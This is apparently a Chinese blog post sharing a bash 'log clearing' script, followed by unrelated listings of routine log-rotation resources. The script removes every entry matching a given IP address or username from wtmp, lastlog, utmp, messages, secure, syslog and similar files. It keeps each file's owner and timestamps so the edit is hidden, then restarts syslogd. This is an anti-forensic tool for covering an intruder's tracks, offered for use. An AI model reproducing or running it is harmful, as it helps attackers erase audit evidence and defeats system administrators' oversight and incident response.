`
bwhzhl
  • 浏览: 102805 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
社区版块
存档分类
最新评论

linux清除日志脚本

 
阅读更多
#!/bin/bash
echo " linux clear log "
echo " by seala"
echo "==============================="
echo "Clearlog root  or Clearlog IP "
# chmod 777 log
# ./log xx.xx.xx.xx And ./log root
if [ -f "/var/log/wtmp" ];then
cat /var/log/wtmp | grep -v $1 >> /var/log/temp1;
chgrp --reference /var/log/wtmp /var/log/temp1;
chown --reference /var/log/wtmp /var/log/temp1;
touch -r /var/log/wtmp /var/log/temp1;
mv -f /var/log/temp1 /var/log/wtmp;
fi

if [ -f "/var/log/lastlog" ];then
cat /var/log/lastlog |grep -v $1 >> /var/log/temp2;
chgrp --reference /var/log/lastlog /var/log/temp2;
chown --reference /var/log/lastlog /var/log/temp2;
touch -r /var/log/lastlog /var/log/temp2;
mv -f /var/log/temp2 /var/log/lastlog;
fi

if [ -f "/var/log/messages" ];then
cat /var/log/messages | grep -v $1 >> /var/log/temp3;
chgrp --reference /var/log/messages /var/log/temp3;
chown --reference /var/log/messages /var/log/temp3;
touch -r /var/log/messages /var/log/temp3;
mv -f /var/log/temp3 /var/log/messages;
fi

if [ -f "/var/log/utmp" ];then
cat /var/log/utmp | grep -v $1 >> /var/log/temp4;
chgrp --reference /var/log/utmp /var/log/temp4;
chown --reference /var/log/utmp /var/log/temp4;
touch -r /var/log/utmp /var/log/temp4;
mv -f /var/log/temp4 /var/log/utmp;
fi

if [ -f "/var/log/wtmpx" ];then
cat /var/log/wtmpx | grep -v $1 >> /var/log/temp5;
chgrp --reference /var/log/wtmpx /var/log/temp5;
chown --reference /var/log/wtmpx /var/log/temp5;
touch -r /var/log/wtmpx /var/log/temp5;
mv -f /var/log/temp5 /var/log/wtmpx;
fi


 if [ -f "/var/log/utmpx" ];then
cat /var/log/utmpx | grep -v $1 >> /var/log/temp6;
chgrp --reference /var/log/utmpx /var/log/temp6;
chown --reference /var/log/utmpx /var/log/temp6;
touch -r /var/log/utmpx /var/log/temp6;
mv -f /var/log/temp6 /var/log/utmpx;
fi

if [ -f "/var/log/syslog" ];then
cat /var/log/syslog | grep -v $1 >> /var/log/temp7;
chgrp --reference /var/log/syslog /var/log/temp7;
chown --reference /var/log/syslog /var/log/temp7;
touch -r /var/log/syslog /var/log/temp7;
mv -f /var/log/temp7 /var/log/syslog;
fi

if [ -f "/var/log/secure" ];then
cat /var/log/secure | grep -v $1 >> /var/log/temp8;
chgrp --reference /var/log/secure /var/log/temp8;
chown --reference /var/log/secure /var/log/temp8;
touch -r /var/log/secure /var/log/temp8;
mv -f /var/log/temp8 /var/log/secure;
fi 

/usr/bin/killall -HUP syslogd;
echo "Clear log is success!"
分享到:
评论

相关推荐

    Linux环境日志清除脚本

    Linux运行定时任务可有效清除目标日志信息;杜绝日志过大造成的冗余。身心省事........................................................

    linux常用定时日志清理脚本

    linux常用定时日志清理脚本,一些应用服务器长年累积日志量庞大,用这个定时任务清理指定日志类文件。参考下吧~

    定时删除oracle日志脚本

    因此,定时删除Oracle日志脚本就显得非常必要。 首先,我们需要了解Oracle日志的主要类型: 1. **Redo Log Files**:这是Oracle数据库的核心组件,记录所有事务的更改。分为当前日志(active)和已用日志(used)...

    liunx下日志备份及清理脚本

    内容概要: ...2、备份日志后原日志文件不删除只清空当前当前日志内容,释放空间并把备份日志进行压缩存储。 备份日志清理采用以下两种方式: 1、采用find命令方式进行清理。 2、普通命令方式进行清理。

    linux-定时清除日志

    总之,通过合理设置crontab任务和编写适当的清理脚本,我们可以有效地管理Linux系统的日志文件,确保服务器的稳定运行。记得在执行任何清理操作之前,确保已经备份了重要信息,以免丢失必要的日志数据。同时,持续...

    Linux使用shell脚本定时删除历史日志文件

    总结起来,Linux系统中的日志文件清理可以通过编写shell脚本并配合`crontab`进行定时执行,实现自动化清理,提高系统效率。通过理解并自定义`del_history_files`脚本及其配置文件,我们可以根据实际需求调整日志保留...

    linux定时清理指定日志文件

    利用shell脚本,定时清理linux系统下指定日志文件

    Linux中使用crontab自动清除日志

    Linux 中使用 crontab 自动清除日志 Linux 中使用 crontab 自动清除日志是一种常见的日志管理方法。crontab 命令是 Unix 和类 Unix 操作系统中设置周期性被执行的指令的命令。该命令从标准输入设备读取指令,并将其...

    Linux-nohup日志拆分

    这个脚本的作用是按指定大小(5MB)将原始日志文件拆分成多个新文件,并清空原始日志文件。 #### 五、日志清理脚本 为了进一步节省磁盘空间,我们还需要定期清理旧的日志文件。为此,我们可以创建另一个脚本来...

    Linux下tomcat日志catalina.out按天(/周)分割

    通过这样的脚本和定时任务,我们可以在Linux上的Tomcat环境中有效地管理和分割`catalina.out`日志,便于日后的检索和分析。这不仅可以节省存储空间,还可以帮助我们更好地跟踪和诊断Tomcat服务的运行状况。

    linux 下清除日志的脚本.txt

    深入linux设备驱动程序内核机制 pdf

    详解linux下nohup日志输出过大问题解决方案

    2. 清空日志文件:在分割日志后,可以使用`cat /dev/null > nohup.out`清空`nohup.out`文件,以便新的日志继续写入。 3. 管理旧日志:为了防止日志文件无限制地积累,可以设置一个定期删除旧日志的脚本,只保留最近...

    Linux分区脚本

    脚本通过交互式的方式引导用户选择需要分区的磁盘,并确认是否继续进行分区操作(这一步骤将导致磁盘上的数据被清除)。如果用户确认继续,则脚本会自动执行一系列命令来创建三个新的分区:一个20MB大小的分区、一个...

    Shell springboot服务器日志清空脚本

    Shell脚本,springboot服务器日志清空脚本,清空服务器上logs下所有*.log结尾的日志文件。

    logrotate日志切割工具自动化脚本

    在Linux环境中,`logrotate`是一个非常实用的日志切割工具,用于自动化地管理和轮换日志文件,以避免单个日志文件过大导致磁盘空间耗尽或读取效率降低。本文将详细介绍`logrotate`的使用,包括其工作原理、配置文件...

    Linux/Unix shell 脚本清除归档日志文件

    对于这种情形,可以使用一个shell脚本来定时自动清除这些归档日志。本文给出了清除归档日志的脚本。  1、清除归档日志shell脚本 robin@SZDB:~/dba_scripts/custom/bin> more remove_arch_dump.sh #!/bin/bash ...

    linux dmesg日志通过系统调用获取

    在Linux操作系统中,`dmesg`是一个非常重要的命令,用于查看内核消息日志,这些日志包含了系统启动时及之后发生的硬件检测、驱动加载等事件的信息。`dmesg`日志是通过系统调用获取的,这涉及到Linux内核与用户空间...

    Linux系统缓存清理脚本

    ### Linux系统缓存清理脚本知识点详解 #### 一、概述 在Linux系统运维工作中,定期清理系统缓存是一项非常重要的任务。缓存虽然能够提高数据读取速度,但随着时间的推移,缓存文件会逐渐积累占用大量磁盘空间,并...

    linux常用脚本,实现获取一个指定区间内未被占用的随机端口号、查看日志大小、清理日志、离线自动安装mysql

    例如,`mv logfile.log logfile.log.bak`可以将日志文件重命名为备份,然后`> logfile.log`清空日志。还可以使用`logrotate`服务定期自动处理日志,以保持日志文件大小在可控范围内。 4. **离线自动安装MySQL**: ...

    Linux-定期清内存缓存-shell脚本

    ### Linux-定期清内存缓存-shell脚本 #### 背景与意义 在Linux系统中,内存资源的管理非常重要。随着系统运行时间的增长,内存中的缓存数据可能会占用大量空间,导致可用内存减少,从而影响系统的性能。为了确保...

Global site tag (gtag.js) - Google Analytics